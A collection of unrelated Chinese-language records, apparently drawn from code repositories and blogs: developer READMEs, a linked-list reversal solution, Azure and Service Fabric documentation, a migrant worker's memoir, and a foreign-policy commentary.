这里了解这个组件的原理是利用 容器的 Overflow:hidden 属性 ，随后将 content 设置一个负的 marigin-bottom & margin-right 把滚动条顶出容器 已达到隐藏的效果 （一般来说这个值就是滚动条的宽度），但是在不同平台的不同设备上，这个宽度是不一致的，在我的 mbp15 inch 上 这个值是 15 像素，而在一台 windows 分辨率 1920\*1080 的设备上，这个宽度为 17
The principle of understanding this component here is to use the container's Overflow:hidden property, and then set the content to a negative marigin-bottom & margin-right. The scroll bar is pushed out of the container to achieve a hidden effect (generally this value is the scroll bar) Width), but this width is inconsistent on different devices on different platforms. This value is 15 pixels on my mbp15 inch, and on a 1920\*1080 windows resolution, this width is 17
**所以我加入了一个动态检测滚动条宽度的功能，能够让滚动条自动适应你的设备**
**So I added a feature that dynamically detects the width of the scrollbar, allowing the scrollbar to automatically adapt to your device.**
## 自定义
考虑再三还是还是没有加入 bar 的颜色等常用 Props, 如有需要，请使用样式优先级进行覆盖。
## issues相关
麻烦报告问题的老哥多给点信息 最起码浏览器版本给写上 不然我没法定位啊 | 3,267 | MIT |
# 24反转链表
> 定义一个函数，输入一个链表的头节点，反转该链表并输出反转后链表的头节点。
>
>
>
> 示例:
>
> 输入: 1->2->3->4->5->NULL
> 输出: 5->4->3->2->1->NULL
>
>
> 限制：
>
> 0 <= 节点个数 <= 5000
>
看起来有点像递归，以为自己行了，然后被暴打。
与第6题 [jz06.md](jz06.md) 相似，但第六题只要输出数值就行，本题需要得到一个新的链表。
那我们先来看递归：
```c++
/**
* Definition for singly-linked list.
* struct ListNode {
* int val;
* ListNode *next;
* ListNode(int x) : val(x), next(NULL) {}
* };
*/
class Solution {
public:
//假设输入为[1,2,3,4,5]
ListNode* reverseList(ListNode* head) {
if(head==NULL||head->next==NULL){
return head;
}else{
//newHead的目标是新的链表头，递归到4，返回的是5，之后每次更新，这个链表的长度+1
ListNode* newHead = reverseList(head->next);
//接下来从4处开始执行，将后一个节点的next反向指向自己
head->next->next=head;
//回溯到头结点时，需要让它的next指向null，以结束这个链表
head->next=NULL;
return newHead;
}
}
};
```
由于链表的特性，咱不需要移动任何一个元素的位置，而只需要修改它的后节点的指向，本来朝后，改成朝前。
时间复杂度 O(N) ： 遍历链表使用线性大小时间。
空间复杂度 O(N) ： 遍历链表的递归深度达到 N，系统使用 O(N) 大小额外空间。
这种叫`后序遍历`，leetcode还有一种“前序遍历”
```c++
class Solution {
public ListNode reverseList(ListNode head) {
//递归入口：pre是null，cur是链表头节点head
return preReverse(null, head);
}
public ListNode preReverse(ListNode pre, ListNode cur){
//若链表为空或递归到链表最末节点时，回溯返回当前节点
if(cur == null) return pre;
/*先序反转链表的指针操作*/
//保存住当前节点的下一节点
ListNode next = cur.next;
//当前节点的next域赋为当前节点的前驱结点
cur.next = pre;
//将pre、cur分别向后移动一位（进行下一轮反转）
pre = cur;
cur = next;
//返回已经反转完成的链表头
return preReverse(pre, cur);
}
}
作者：CelesteZephyr
```
其实觉得递归抽象的话，本题还有：辅助栈、双指针的套路解法，它们属于另一大类——迭代法。
辅助栈的思路，先把值全都压到栈里，再从链表头结点重新赋一遍值
```c++
stack<int> s;
ListNode *cur = head;
if(cur==NULL)
return NULL;
while(cur!=NULL){
s.push(cur->val);
cur=cur->next;
}
cur=head;
while(!s.empty()){
cur->val=s.top();
cur=cur->next;
s.pop();
}
return head;
```
> 注意：如果写一个stack<listnode*>，它相当于每次压一个链表而不是一个节点，用在22题更适合，本题可能无法通过编译
双指针的思路，相当于给链表手动增加了一个前驱节点，当然如果写的直观一点，可以写成pre,cur,next各来一个，个人觉得很清爽。
```c++
class Solution {
public ListNode reverseList(ListNode head) {
ListNode pre = null, cur = head, next = null;
while(cur != null) {
next = cur.next;
cur.next = pre;
pre = cur;
cur = next;
}
return pre;
}
}
```
 | 2,703 | MIT |
<!-- YAML
added: v10.10.0
-->
* 返回: {boolean}
如果 `fs.Dirent` 对象描述字符设备，则返回 `true`。 | 85 | CC-BY-4.0 |
---
template: post
title: "【工友之声】失落的东莞打工梦 "
date: 2020-07-07
tags: gushi
image:
teaser: /202007/dongguanmeng1.jpg
excerpt_separator: <!--more-->
---
<div style="width:98%;padding:10px;background-color:black;color:white;margin:0;"><strong>编者按：</strong>在这个社会做工人，难！做残疾工人，更是难上加难！尽管残疾不是自己的错，但是资本主义才不管你那套，因为残疾人不能像正常人一样，给资产阶级充当赚钱工具，等待他们的就只有贫穷和遗忘。<br><br>
当资本家打着做慈善的旗号招聘残疾工人时，可别相信这鳄鱼的眼泪。残疾工人更便宜，更听话卖力，也很少会辞职，资本家还可以因此拿到政府的优惠政策。真是笔划算的买卖！<br><br>
而当残疾工人不能胜任工作，带不来什么油水时，资本家就会嫌他们效率不行，把他们一脚踢开了——就像来稿的这位工友一样，工作了这么多天，厂方居然用了54块钱就把他撵出去了。<br><br>
他想要出门打工，可连靠双手吃饭的机会也被尽数剥夺；无奈踏上归途，却因为没钱险些被赶下车。工厂的黑暗，救助站的冷酷，火车上只认钱不管人的鬼规矩，都在告诉我们，这个社会的真实面目是怎么样的。<br><br>
不是残疾工友不知天高地厚，而是这没人性的资本主义令人不堪忍受。压迫就在头上，苦难更不是什么财富——即便是，也是激励我们去反抗，去追求一个平等的社会的财富。！<br><br>
</div><br>
**作者：**黄山松
我家在 河北省定州市农村。2008年，家里本来养着1000多只鸡，赶上了鸡蛋价格便宜，赔得一塌糊涂。而我的诊所也不景气。家里缺钱，孩子他妈心情不好，俩人一直在吵架。我想，一个男人如果不能把家支撑起来，总是为钱让媳妇唠叨，活得也太不成功了。看别人都出外打工，年底回来，总能拿回厚厚一沓钱。去打工吧。那年4月份，我看到一家工艺品厂的招工启事，就给联系人李小姐打电话，询问厂子是否录用像我这样的残疾人。她说厂子有坐着（干活）的岗位，我可以直接去厂里报到。
欣喜若狂的我决定前往。这是我第一次出远门打工。以前，我总认为自己身体残疾，于家庭、社会都是个累赘，凑合活就行了，活不好干脆死掉。后来，我不甘心这样，觉得碌碌无为不如拼搏一下。毕竟，有了老婆和孩子，我该像个男人、像个父亲。找昔日同学借了500元钱，我就背着包裹出发了，走得很悲壮。
<div style="text-align:center;color:grey"><img src="/images/202007/dongguanmeng1.jpg" width="98%"></div>
4月14日，我赶到位于广东省东莞市东坑镇的那家工艺品厂。保安给人事部李小姐打电话确认我的身份后，给我办理进厂手续，收走了我的身份证和20元伙食费押金。在食堂吃过饭已是下午。人事部一个戴眼镜的小伙子领我去三楼砂光部，跟班长用粤语简单说了几句就走了。我听不懂他们讲什么，只见班长叫来一个老师傅，让我跟这个老师傅学习磨砂，就是用砂纸把一个个半成品粗糙的地方打磨光滑。干这活全凭手劲。班长拿来30多个样品让我练习。半小时过后，我的右臂就酸得抬不起来了。试着换左手干，可是由于不顺手，很不得劲。没办法，只好借上厕所的机会活动一下筋骨，作片刻休息。
那天下午，虽然班长对我反复打磨好几遍的样品比较满意，笑着说我“过关了”，但是仍然让我拿这些样品继续练习，不安排我正式工作。我只好一遍又一遍地打磨。如果说，腰酸臂疼还不算什么的话，那么车间里的灰尘就真的要命了。手工打磨后，粘补好的半成品还要用抛光机打磨。车间里到处是灰尘，我的眼睛高度近视，眼镜上灰蒙蒙的，不隔二三十分钟去卫生间冲洗一下眼镜片，我就什么也看不见。有好心人偷偷对我说：“你这样子不行的！还没有正式上岗呐，一旦正式上机抛光，灰尘更大，你根本干不了。”说的我心里也没底。决定调岗。
<div style="text-align:center;color:grey"><img src="/images/202007/dongguanmeng2.jpg" width="98%"></div>
第二天，听我说明难处，人事部安排我到二楼修饰部，工作是用清水和抹布擦去产品上的灰尘。相对来说，这里的劳动强度减小，环境也还干净。于是，我和一群妇女作了伴。女班长是湖南人，不说普通话，和大家沟通交流用方言。别人好像都能领会她的意思，唯独我一句也听不懂，常常跟傻子似的发愣。好在有个湖南永州的大妈悄悄教我怎么做，我这才知道有的产品要拿一种叫“天那水”的液体擦拭，这种液体虽然去污性能好，可腐蚀性也很强，味道刺鼻，特别难闻。
<div style="text-align:center;color:grey"><img src="/images/202007/dongguanmeng3.jpg" width="98%"></div>
然而，让我没有想到的是，就在我逐渐适应工作，认为可以赚钱给老婆和孩子花、帮助家庭减轻负担时，第三天下午，一个保安到车间找我，要我收拾行李，立马走人。我不明白怎么回事，纳闷地问他理由。他说不知道，要我先收拾行李，然后到厂部办公室去问。郁闷不解的我在众人复杂的目光中走出车间回宿舍收拾好行李，然后去厂部办公室，这个保安一直寸步不离地跟着我。在厂部办公室，一个女的在计算器上摁了半天，发给我54元工资并且退还我身份证和进厂时交的押金，还给我开了一张出厂条。
唉，还用问让我走人的原因吗？哪家企业愿意录用残疾人呢？后来的遭遇证实了我的想法：从这里离开后我就去了长安镇，找了个便宜的小旅馆住下后就天天跑人才市场，都是带着希望去，怀抱失望归。后来我了解到，的确，企业几乎都不雇用残疾人。
老婆不断来电话问我情况，父亲也催我回家算了，屡受挫折的我出门时的万丈豪情和雄心壮志早已被伤心和沮丧所取代。太累了，身和心都疲惫不堪，于是我决定回家继续经营半死不活的诊所。
摸着越来越瘪的钱包，离家时携带的500元只剩下100元，我小心翼翼地把钱夹在残疾证里。这点钱显然不够回家的费用：因为光广州到石家庄的车票就得200多元，还不算东莞到广州和在石家庄下车后回定州的路费。再说，路上岂能不吃不喝？
<div style="text-align:center;color:grey"><img src="/images/202007/dongguanmeng4.jpg" width="98%"></div>
一提回家，我就感到矛盾重重。当初痛下决心“赚不到钱誓不还”，如今言犹在耳，怎么有脸回去呢？并且，孩子他妈养鸡赔了，我身无分文，更不好意思见她。可是不回家又能去哪里？ 我不知不觉走到东莞汽车站，碰到两个四川人。这两人的包裹、钱，还有证件全部丢了，正在等警车把他们送往市救助站。见我满脸愁容和疲惫的样子，他们约我作伴。我想，只能这样了，就和他们坐在椅子上等警察。
等了好一会儿，车站派出所的警察吃完饭，让我们坐警车去东莞救助站。到那儿已经是下午两点多钟了，食堂早就没饭了。工作人员给了我们饼干和矿泉水，叫我们赶快吃完去照相，说要把资料传回我们户口所在地派出所，等对方证实我们的身份后才能给予我们救助，比如给我们买火车票、送我们回家等，这件事办起来需要七个工作日。
一个工作人员手拿探测仪对我们三人进行检查，那个东西移到我的右侧屁股口袋时突然报警。工作人员问我衣服里面有什么，让我立即掏出来。我一边回答“是钱”一边往外掏。有个戴眼镜的工作人员说：“你有钱怎么还来救助（站）？”我告诉他这点钱不够买回家的车票……没等我说完，他递给我一张纸，原来上面印着救助站的职责范围，我因为身上还有点钱，不属于救助对象。
<div style="text-align:center;color:grey"><img src="/images/202007/dongguanmeng5.jpg" width="98%"></div>
就这样，在救助站工作人员又给了我一包饼干两瓶矿泉水后，我又回到东莞汽车站，坐上开往广州的高客，票价35元。到广州火车站后，我连晚饭都不敢吃，花38元买了一张到韶关的票，忐忑不安地进了候车室。韶关是离广州最近的一个站，票价便宜。我的想法谁都明白：只要能顺利上车，就有可能“混”到石家庄。我不是存心逃票，而是的确没钱了。检票时，工作人员看我是个残疾人，背着包裹很吃力的样子，一挥手让我进了站。我当时还真后悔花那38元买车票！
车上人真多，拥挤不堪。记得旁边是个回家探亲的武警战士，湖南人，在广州当兵，到长沙下车。经过交谈，他很同情我的遭遇。快到韶关时，列车员查了一次票，我紧张得心都快蹦出来了。毕竟，做贼心虚啊！
车过郴州，列车员又查票。“小武警”安慰我：“你是残疾人，就讲老实话，说没钱了，想回家！”列车员发现我的票只到韶关，立刻明白怎么回事，让我在长沙下车。我讲了自己的情况，哀求他通融一下，让我到石家庄下车。他不客气地说，像我这样的人他见得多了。
这时，“小武警”也帮我解释，列车员就叫来了列车长。列车长还是不错的，先和气地询问我的目的地，然后说我无论如何不买票是不对的。我告诉列车长身上没钱了。“小武警”也一再强调我是残疾人，并指了指靠在车窗旁的拐杖。其他乘客附和说：“一个残疾人，挺不容易的，要不是真的没钱了，谁愿意逃票啊？”
我掏出残疾证给列车长看，他说如果有民政部发的伤残军人证可以免票。我的心一下凉了。小武警见他们这样不通情理，就没好气地对列车长说：“要不麻烦你跑一趟民政部，给他办个伤残军人证。”顿时引来一车厢人哄堂大笑，我也不由自主地被逗笑了。然而列车长很执着，认为要是大家都找借口不买票，社会秩序就乱了。
不知怎么的，我很难过，委屈的泪水在眼眶里打转转。“小武警”看我伤心的样子，就对列车长说：“深更半夜的，让他在陌生的长沙下车，他出了事谁负责？”列车长还没回答，列车员抢着冲我喊：“没罚款已经对你够客气了，你再不下车，我把你的行李扔下去！”说着真的动手揪住我。
车厢里好像炸了锅，座位上的乘客全都站起来，列车长急忙制止他。正吵着，又过来一个女车长。男车长跟她简单讲了一下情况。她看了看我，跟男车长说了几句什么，男车长随后要走了我的身份证和残疾证，说等车到了石家庄以后，让我给在石家庄的亲友打电话拿钱来补票。车厢里平静下来，我感谢“小武警”和好心的众人帮助我留在车上。“小武警”嘱咐我：等他在长沙下车后，我坐他的位置。
<div style="text-align:center;color:grey"><img src="/images/202007/dongguanmeng6.jpg" width="98%"></div>
凌晨2点左右，车停长沙站。“小武警”下车了，站在窗外朝我挥手。那一刻，我控制不住感情，眼泪一下流了出来。车开后，从长沙上来的一对夫妇怀抱孩子，他们买的正是“小武警”的座位。我急忙给他们让座，然后拖着行李挪到两节车厢连接部的洗手池边上。
迷迷糊糊中，天亮了。男列车长走过来，悄悄把我的身份证和残疾证塞进我手里，问我：“快到石家庄了，你给家人打电话了吗？他们如果不来给你补票，你会出不了站的。”说完就走了。我的心里很不是滋味，不知道怎样感激列车长。
后来，我又见到了他。那是车停石家庄站，我突然发现开往高碑店的车就要走了，就想直接上这趟车，但被站台上的工作人员拦住，非要我先出站，到售票厅买票后再上车。我急忙声辩来不及了，等我出站再进站，列车早就开走了。我还说自己是刚从广州那趟车上下来的。正说着，还我证件的列车长迎面走过来，简直太巧了！他证明我的确是刚从他那列火车上下车的残疾人，然后笑着对我说：“以后可别再这样了啊！”
都说东莞是打工者的天堂，然而这番经历叫我明白了，那都是针对身强体壮的朋友而言的，因为那里几乎没有适合残疾人工作的福利企业。每次想起那年不知天高地厚妄想以残疾之躯在东莞闯出一片天地时，我都会感慨万千----人的经历真是一笔无形的财富，也是激励我们前行，奋进的动力。 | 5,178 | MIT |
---
layout: post
title: "日本学者眼中的中国外交政策"
date: 2011-12-25
author: 陈磊
from: http://cnpolitics.org/2011/12/chinese-foreign-policy-in-the-eyes-of-japanese-scholar/
tags: [ 政見 ]
categories: [ 政見 ]
---
<div class="post-block">
<h1 class="post-head">
日本学者眼中的中国外交政策
</h1>
<p class="post-subhead">
</p>
<p class="post-tag">
#外交 #日本
</p>
<p class="post-author">
<!--a href="http://cnpolitics.org/author/chenlei/">陈磊</a-->
<a href="http://cnpolitics.org/author/chenlei/">
陈磊
</a>
<span style="font-size:14px;color:#b9b9b9;">
｜2011-12-25
</span>
</p>
<!--p class="post-lead">中国在以领土主权争端为首的各种复杂问题上，已经处于相对劣势的状态，如果不对现有的政策进行修正，国家的领土主权将受到更大挑战。</p-->
<div class="post-body">
<p>
□“政见”观察员 陈磊
<br>
<img alt="" class="aligncenter size-full wp-image-453" height="361" sizes="(max-width: 550px) 100vw, 550px" src="http://cnpolitics.org/wp-content/uploads/2011/12/8_110621113047_1_lit.jpg" srcset="http://cnpolitics.org/wp-content/uploads/2011/12/8_110621113047_1_lit.jpg 550w, http://cnpolitics.org/wp-content/uploads/2011/12/8_110621113047_1_lit-300x196.jpg 300w" width="550">
<br>
“韬光养晦、有所作为”是中国现行并将长期坚持的对外战略方针，它是对20世纪90年代前后邓小平提出的一系列重要战略思想的一种概括、浓缩和发展。当前，中国正面临着国际大环境的深刻变革，这一延续多年的外交政策是否还能发挥当初的积极作用？有没有调整的必要？针对这一话题，日本的中国问题研究专家、同志社大学法学部教授浅野亮今年发表了题为《中国的对外战略》的学术报告，阐述了自己的看法。
</br>
</img>
</br>
</p>
<p>
在这份报告中，作者首先交代了“韬光养晦”提出的背景：上世纪80年代末90年代初，东欧剧变，社会主义阵营瓦解，而中国又处于面临欧美一系列封锁的“非常时期”，在国际关系上面临着空前的考验。中国外交该往何处去？为了冲破不利的国际环境，给国内经济建设创造有利条件，邓小平就中国外交战略提出了一系列重要思想和对策。这些思想和对策在其后的20年得到了延续，成为中国外交的指导思想。
</p>
<p>
紧接着，作者举例说明了“韬光养晦”政策在外交方面的具体表现——
</p>
<p>
首先，是实行真正的不结盟政策，因为在当时中国的决策层看来，与他国结盟会加深国际社会对于中国的忧虑，并使自身的实力过早暴露；
</p>
<p>
其次，是积极发展和周边国家的友好关系，并解决了与周围一些国家的陆上领土争端，边境的相对安定对国内的发展意义重大；
</p>
<p>
第三，是不再以意识形态和社会制度为标准来发展与外国的关系，并大幅削弱了对“社会主义阵营”国家的经济援助，把有限的资源放在国内建设和其他更需要的领域；
</p>
<p>
最后一点，是加大对部分国内资源丰富的发展中国家的援助，以谋求在进口自然资源方面的合作。
</p>
<p>
作者认为，“韬光养晦”政策在最初的一段时间内目标十分务实，也取得了显著的效果，为中国专心发展国内经济发挥了重要作用。中国领导人还适时对这一政策做出了微调：由于最近几年全球主要国家都深陷世界性的经济危机，这使得中国在世界范围内的影响力不断增强，责任也越来越大，为了应对这一变化，中国官方在2007年以后将原有的“韬光养晦”进一步发展，在这四个字之后加上了“有所作为”。
</p>
<p>
不过，这种政策在国内也遭到了部分人的质疑。他们的批评主要来自两个方面：其一，虽然在这一政策的作用下，部分领土争端得到了解决，但中国在南海、东海、中印边境等地区发生的领土争端上表现过于软弱，使中国在这些地区处于不利地位，这将严重影响今后的发展；其二，在外交中过分计较经济上的得失，对中国的国际形象造成了损害，与单纯的经济利益相比，国家的信誉和形象在国际交往中显得更为重要，毕竟，可靠的朋友不是只用金钱就能换来的。
</p>
<p>
针对中国的外交政策，作者也给出了自己的建议。他说，站在中国领导人的立场上看，过去取得的成绩无疑是可喜的，但更不能忽略存在的问题。“韬光养晦，有所作为”是一个整体，中国过分注重“韬光养晦”，而缺乏“有所作为”。中国在以领土主权争端为首的各种复杂问题上，已经处于相对劣势的状态，如果不对现有的政策进行修正，国家的领土主权将受到更大挑战。而中国在传统上就是一个“大一统”的国家，这种观念在部分中国人内心也根深蒂固，在领土主权上的让步可能会激发国内的不满情绪，为中国社会发展带来不稳定因素。
</p>
</div>
<!-- icon list -->
<!--/div-->
<!-- social box -->
<div class="post-end-button back-to-top">
<p style="padding-top:20px;">
回到开头
</p>
</div>
<div id="display_bar">
<img src="http://cnpolitics.org/wp-content/themes/CNPolitics/images/shadow-post-end.png"/>
</div>
</div> | 2,863 | MIT |
<properties
pageTitle="Logic Apps での HTTP リスナーとコネクタの使用 | Microsoft Azure App Service"
description="HTTP リスナーと HTTP アクションのコネクタまたは API アプリを作成、構成して、Azure App Service のロジック アプリで使用する方法"
services="app-service\logic"
documentationCenter=".net,nodejs,java"
authors="anuragdalmia"
manager="erikre"
editor=""/>
<tags
ms.service="app-service-logic"
ms.devlang="multiple"
ms.topic="article"
ms.tgt_pltfrm="na"
ms.workload="integration"
ms.date="04/19/2016"
ms.author="prkumar"/>
# HTTP リスナーと HTTP アクションの使用を開始し、ロジック アプリにこれらを追加する
> [AZURE.NOTE] このコネクタのサポートは終了します。現在、その機能は、新しいロジック アプリの作成時に既定で**手動のトリガー**として組み込まれるようになっているためです。このコネクタを使用しているすべてのロジック アプリをアップグレードすることをお勧めします。本記事は、ロジック アプリの 2014-12-01-preview スキーマ バージョンを対象としています。
HTTP リソースに直接接続して、HTTP 要求をリッスンし、HTTP Web 要求を構成します。次のような一部のシナリオで、直接の HTTP 接続が必要になる場合があります。
1. Web ユーザーまたはモバイル ユーザーの対話型のフロント エンドをサポートするロジック アプリを開発する。
2. すぐに使用できるコネクタがない Web サービスからデータを取得して、処理する。
3. Web サービスとして既に公開されているが、API アプリとしては利用できないアクションを実行する。
これらのシナリオに対して、2 つのオプションが用意されています。
1. **HTTP リスナー**: このコネクタは、トリガーとして機能し、構成されたエンドポイントで HTTP 要求をリッスンします。呼び出しが、構成されたエンドポイントで受信されると、このコネクタはフローの新しいインスタンスをトリガーし、処理のために、要求された受信データをフローに渡します。また、このコネクタは、フローが開始したときに受信要求に対して自動的に応答するか、またはフローの実行に合わせて応答を作成し、呼び出し元に応答を送信するように構成することもできます。
2. **HTTP アクション**: このアクションでは、インターネットで使用可能な任意のエンドポイントへの Web 要求を構成し、応答を取得して、使用するフローで他のアクションがその応答を使用できるようします。
ロジック アプリはさまざまなデータ ソースを基にトリガーでき、フローの一環としてデータの取得と処理のためのコネクタを提供します。この HTTP コネクタをビジネス ワークフローに追加し、ロジック アプリ内のそのワークフローの一部としてデータを処理できます。
## Logic App の HTTP リスナーの作成
コネクタは、ロジック アプリ内で作成することも、Azure Marketplace から直接作成することもできます。Marketplace からコネクタを作成するには、次の操作を実行します。
1. Azure のスタート画面で、**[Marketplace]** を選択します。
2. "HTTP" を検索し、[HTTP リスナー] を選択して、**[作成]** を選択します。
3. 次のように、HTTP リスナーを構成します。![][1]
4. パッケージの設定をセットアップするときに、次のオプションが表示され、リスナーが自動的に応答する必要があるのか、またはユーザーが明示的な応答を送信する必要があるのかを選択できます。これを **False** に設定し、ユーザー自身の応答を送信します。![][2]
5. **[OK]** をクリックして作成します。
6. API アプリのインスタンスが作成されたら、この設定を開き、セキュリティを構成します。現在、HTTP リスナーは基本認証をサポートします。HTTP リスナーを開くと、[セキュリティ] オプションを使用してセキュリティを構成できます。![][3]
**既知の問題** *セキュリティ設定には既定値の [なし] が表示されていますが、まだ未定義の状態です。HTTP リスナーを正しく構成するには、保存する前にこの設定をいったん [基本] に変更して再度 [なし] に戻す必要があります。*
7. 最後に、外部のクライアントがエンド ポイントにアクセスできるように、API アプリのセキュリティ設定を [パブリック(匿名)] に設定します。この設定は HTTP リスナー API アプリの [すべての設定] > [アプリケーションの設定] にあります。![][10]
完了すると、HTTP リスナーを使用するためのロジック アプリを作成できます。
## ロジック アプリでの HTTP リスナーの使用
API アプリが作成されると、ロジック アプリのトリガーとして HTTP リスナーを使用できます。そのためには、次の手順を実行する必要があります。
4. 新しいロジック アプリを作成します。
5. [トリガーとアクション] を選択して Logic Apps デザイナーを開き、フローを構成します。HTTP リスナーがギャラリーの一覧に表示されます。それを選択します。
6. これで、HTTP メソッドと、フローをトリガーするリスナーを必要とする相対 URL を設定できます。![][4] ![][5]
7. 完全な URI を取得するには、HTTP リスナーをダブルクリックしてその構成設定を表示し、API アプリの "ホスト" の URL をコピーします。![][6]
8. これで、HTTP 要求で受信したデータを、次のようにフローのその他のアクションで使用できます。![][7] ![][8]
9. 最後に、応答を送信するには、もう一つの HTTP リスナーを追加して、HTTP 応答の送信アクションを選択します。要求 ID に HTTP リスナーから取得した要求 ID を設定して、返す対象の応答の本文と HTTP ステータスに入力します。![][9]
## HTTP アクションの使用
HTTP アクションは、Logic Apps がネイティブでサポートしており、使用可能にするために最初に API アプリを作成する必要はありません。ロジック アプリの任意の場所に HTTP アクションを挿入し、呼び出しの URI、ヘッダーおよび本文を選択できます。HTTP アクションはクライアント側のセキュリティの複数のオプションをサポートします。[クライアント側のセキュリティ オプションに関するページ](../scheduler/scheduler-outbound-authentication.md)を参照してください。
HTTP アクションの出力は、ヘッダーと本文です。これらは、その他のアクションとコネクタの出力を使用する場合と同様、フローのさらに下流で使用することができます。
## コネクタでできること
コネクタが作成されたため、ロジック アプリを使用してコネクタをビジネス ワークフローに追加できます。「[Logic Apps とは](app-service-logic-what-are-logic-apps.md)」を参照してください。
「[Connectors and API Apps Reference (コネクタと API Apps のリファレンス)](http://go.microsoft.com/fwlink/p/?LinkId=529766)」で Swagger REST API のリファレンスを参照してください。
パフォーマンス統計をレビューし、コネクタに対するセキュリティを制御することもできます。[組み込みの API Apps とコネクタの管理と監視](app-service-logic-monitor-your-connectors.md)に関するページを参照してください。
> [AZURE.NOTE] Azure アカウントにサインアップせずに Azure Logic Apps を体験したい場合は、[Logic Apps の試用](https://tryappservice.azure.com/?appservice=logic)に関するページにアクセスしてください。App Service で短時間有効な簡易版のロジック アプリをすぐに作成できます。このサービスの利用にあたり、クレジット カードは必要ありません。契約も必要ありません。
<!--Image references-->
[1]: ./media/app-service-logic-connector-http/1.png
[2]: ./media/app-service-logic-connector-http/2.png
[3]: ./media/app-service-logic-connector-http/3.png
[4]: ./media/app-service-logic-connector-http/4.png
[5]: ./media/app-service-logic-connector-http/5.png
[6]: ./media/app-service-logic-connector-http/6.png
[7]: ./media/app-service-logic-connector-http/7.png
[8]: ./media/app-service-logic-connector-http/8.png
[9]: ./media/app-service-logic-connector-http/9.png
[10]: ./media/app-service-logic-connector-http/10.png
<!---HONumber=AcomDC_0420_2016--> | 4,521 | CC-BY-3.0 |
# retry
一个简单的重试服务
---------------------
```
<!--1. 定义一个重试的任务远程服务 -->
<bean id="retryTaskService" class="com.github.tinyretry.retry.MockRetryTaskService" />
<!--2. 定义任务和处理器，这边写在一起了 -->
<bean id="testTaskProcessor" class="com.github.tinyretry.retry.TestProcessor" >
<!-- 任务名称，可以到管理页面查询 -->
<property name="taskName" value="testTask" />
<!-- 任务描述信息 -->
<property name="description" value="testTask" />
<!-- 任务失败后的重试周期 -->
<property name="retryPeriod" value="3000" />
<!-- 任务执行的超时时间，超时后任务会被竞争后重新创建 -->
<property name="executeTimeOut" value="6000" />
<!-- 任务失败后的重试周期因子 -->
<property name="retryFactor" value="1.2" />
<!-- 重试次数 -->
<property name="retryTime" value="2" />
<!-- 优先级，越大越优先 -->
<property name="priority" value="1" />
<!-- 任务关联的应用名，可以在管理页面查询 -->
<property name="appCode" value="mediacodec" />
</bean>
```
```
public class TestProcessor extends Task implements Processor {
/**
*
*/
private static final long serialVersionUID = 1L;
public TestProcessor(){
this.setProcessor(this);
}
@Override
public ProcessResult execute(ProcessContext context) {
// 通过context获取data. data就是retryPorcessClient.async()方法的第二个参数
Serializable data = context.getData();
System.out.println("receive data: ---> " + data);
return ProcessResult.SUCCESS;
}
}
-------
public class MockRetryTaskService implements RetryTaskService {
......
}
```
```
<!-- 启动的代码 -->
public class RetryServerTest {
private ClassPathXmlApplicationContext appContext = null;
private RetryCli retryCli = null;
@Before
public void init() {
//default-retry-spring.xml 默认配置在tiny-retry-client 包里面,也可以自定义
appContext = new ClassPathXmlApplicationContext(new String[] {"classpath:default-retry-spring.xml",
"classpath:test-tasks.xml" });
retryCli = appContext.getBean("retryServer", RetryCli.class);
Map<String, RetryTaskService> retryTaskServices = appContext.getBeansOfType(RetryTaskService.class);
if (retryTaskServices == null || retryTaskServices.isEmpty()) {
throw new NullPointerException("retryTaskServices can't be null!");
}
//服务启动
retryCli.init();
retryCli.start();
}
@Test
public void test() throws BeansException, McJobScheduleException, RetryRemoteException, InterruptedException {
//提交任务
retryCli.async(appContext.getBean("testTaskProcessor", Task.class), "this is a test");
TimeUnit.SECONDS.sleep(1);
}
@After
public void after() {
//销毁异步容器
retryCli.destroy();
}
}
``` | 2,816 | Apache-2.0 |
---
title: 资源管理器体系结构
description: 有关 Azure Service Fabric 群集资源管理器服务的概述和体系结构信息。
author: rockboyfor
ms.topic: conceptual
origin.date: 08/18/2017
ms.date: 02/24/2020
ms.author: v-yeche
ms.openlocfilehash: adbdff4baf5cc80e84226054a95c0853cb82ea50
ms.sourcegitcommit: afe972418a883551e36ede8deae32ba6528fb8dc
ms.translationtype: HT
ms.contentlocale: zh-CN
ms.lasthandoff: 02/21/2020
ms.locfileid: "77540496"
---
# <a name="cluster-resource-manager-architecture-overview"></a>群集 Resource Manager 体系结构概述
Service Fabric 群集资源管理器是在群集中运行的中心服务。 它管理群集中服务所需的状态，对资源消耗和任何放置规则而言尤其如此。
为了管理群集中的资源，Service Fabric 群集资源管理器必须包含一些相关的信息：
- 当前存在的服务
- 每个服务的当前（或默认）资源消耗
- 剩余的群集容量
- 群集中节点的容量
- 每个节点可消耗的资源量
给定服务的资源消耗量会随时间变化，服务通常会关注多种类型的资源。 在不同的服务之间，可能会同时测量实际物理资源和物理资源。 服务可能会跟踪内存和磁盘使用情况等物理指标。 更常见的是，服务可能会关注逻辑指标，例如“WorkQueueDepth”或“TotalRequests”。 可以同时在同一群集中使用逻辑指标和物理指标。 指标可在许多服务间共享，也可特定于特定服务使用。
## <a name="other-considerations"></a>其他注意事项
有时，群集的所有者和操作员与服务和应用程序创建者不同，或至少是一人身兼多职。 开发应用程序时，需要知道有关应用程序需求的一些内容。 需要估计应用程序将占用的资源以及不同服务的部署方法。 例如，Web 层需要在连接到 Internet 的节点上运行，而数据库服务则不必。 再举一例，Web 服务可能会受 CPU 和网络限制，而数据层服务更关注内存和磁盘使用情况。 但是，处理该服务在生产环境中的实时站点事件的人员，或者管理服务升级的人员，需要执行不同的作业，并且需要不同的工具。
群集和服务都是动态的：
- 群集中的节点数可能增加也可能减少
- 不同大小和类型的节点可能加入也可能离开
- 可以创建、删除服务，并更改其所需的资源分配和放置规则
- 升级或其他管理操作可以在基础结构级别的应用程序中运行
- 随时可能会发生故障。
## <a name="cluster-resource-manager-components-and-data-flow"></a>群集 Resource Manager 组件和数据流
群集资源管理器必须跟踪每个服务的需求以及这些服务中每个服务对象的资源消耗。 群集资源管理器具有两个概念部件：在每个节点上运行的代理和容错服务。 每个节点上的代理会跟踪服务的负载报告、聚合这些报告，并定期汇报。 群集 Resource Manager 服务会聚合来自本地代理的所有信息，并根据当前配置做出反应。
请查看下图：
<center>
![资源平衡器体系结构][Image1]
</center>
